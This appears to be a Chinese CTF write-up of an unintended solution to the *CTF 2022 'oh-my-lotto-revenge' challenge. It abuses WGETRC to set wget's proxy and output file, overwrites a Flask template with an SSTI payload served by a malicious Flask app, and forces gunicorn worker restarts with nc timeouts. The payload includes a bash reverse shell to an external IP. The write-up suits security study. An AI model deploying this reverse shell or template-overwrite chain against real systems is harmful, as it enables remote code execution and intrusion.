[*ctf 2022]oh-my-lotto-revenge 非预期解法ssti复现

[*ctf 2022]oh-my-lotto-revenge

以下介绍的是一种非预期解法:配合环境变量WGETR去给wget设置http_proxy和outputfile,从而控制wget的输出,并借此使用ssti的payload去覆盖原有的index.html,最后通过超时的方式让其加载

由于这次预测成功也不会返回flag,所以要考虑rce

唯一执行系统命令的地方仍是wget,由于环境变量可控,所以想到能否实验wget进行rce

平时wget用于rce常是outputfile写马,但是这次学到了新姿势

wget,参考以下文档

[GNU Wget 1.21.1-dirty Manual](https://www.gnu.org/software/wget/manual/wget.html#:~:text=6.1-,Wgetrc Location,-When initializing%2C Wget)

WGETRC

If the environmental variable WGETRC is set, Wget will try to load that file

其实就是这个,设置环境变量WGETR的值为某一可控的文件,文件上的参数会变成wget的参数

之后就是查阅文档找参数

https_proxy

https_proxy = string
Use string as HTTPS proxy, instead of the one specified in environment.

具体使用可参考[How To Use Wget With Proxy - Blog | Oxylabs](https://oxylabs.io/blog/wget-proxy)

代理是用于转发流量的,我们可以代理试试

https_proxy=8.129.42.140:3307

这样通过WGETR写成wget的参数后,可以在我vps看到请求

img

问题在于这个lotto现在是404,它需要get到我们的恶意payload才行

尝试改变本机hosts文件无果(期间差点把服务器网络搞炸)后来了解到代理是不吃hosts文件的

最后在@Xux师傅的指点下

起一个恶意flask服务,如我是192.168.0.107:2333

from flask import Flask,make_response
app = Flask(__name__)
@app.route('/')
def index():
    r = '''
    {{config.__class__.__init__.__globals__['os'].popen('bash -i >& /dev/tcp/8.129.42.140/3307 0>&1').read()}}
'''
    response = make_response(r)
    response.headers['Content-Type'] = 'text/plain'
    response.headers['Content-Disposition'] = 'attachment; filename=index.html'
    return response

app.run("0.0.0.0",2333)

image-20220428010446654

由于只设置了@app.route('/'),所以无论什么请求都会请求到这个路由下面,解决了之前lotto404的问题(太机智了!!!)

这个请求返回一个内容为ssti反弹shell的html文件

那么现在文件内容可控,能否控制文件输出的路径呢

回忆起之前用的outputfile

output_document = file
Set the output filename—the same as ‘-O file’.

那么思路明朗了

设置WGETR为某一可控文件(我们上传的文件)

该文件内容是

http_proxy=http://192.168.0.107:2333
https_proxy=http://192.168.0.107:2333
output_document = templates/index.html

同时,http://192.168.0.107:2333下面开启恶意flask服务(代码见上文

这样以后点击预测,使得wget发起请求

可以看到我们成功覆盖了templates/index.html

image-20220428010417633

我们拿{{6*6}}为例

覆盖后再次访问index.html可以看到

image-20220428123759989

不过实际再试Payload的过程中,发现容器的ssti不是实时渲染的

可以参考官解的这个方法让他重启服务以加载payload

此时发现已经覆盖了题目的app.py,但并不能直接RCE,因为题目使用gunicorn部署,app.py在改变的情况下并不会实时加载。但gunicorn使用一种pre-forked worker的机制,当某一个worker超时以后,就会让gunicorn重启该worker,让worker超时的POC如下

timeout 50 nc ip 53000 &
timeout 50 nc ip 53000 &
timeout 50 nc ip 53000

这样就可以ssti了

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇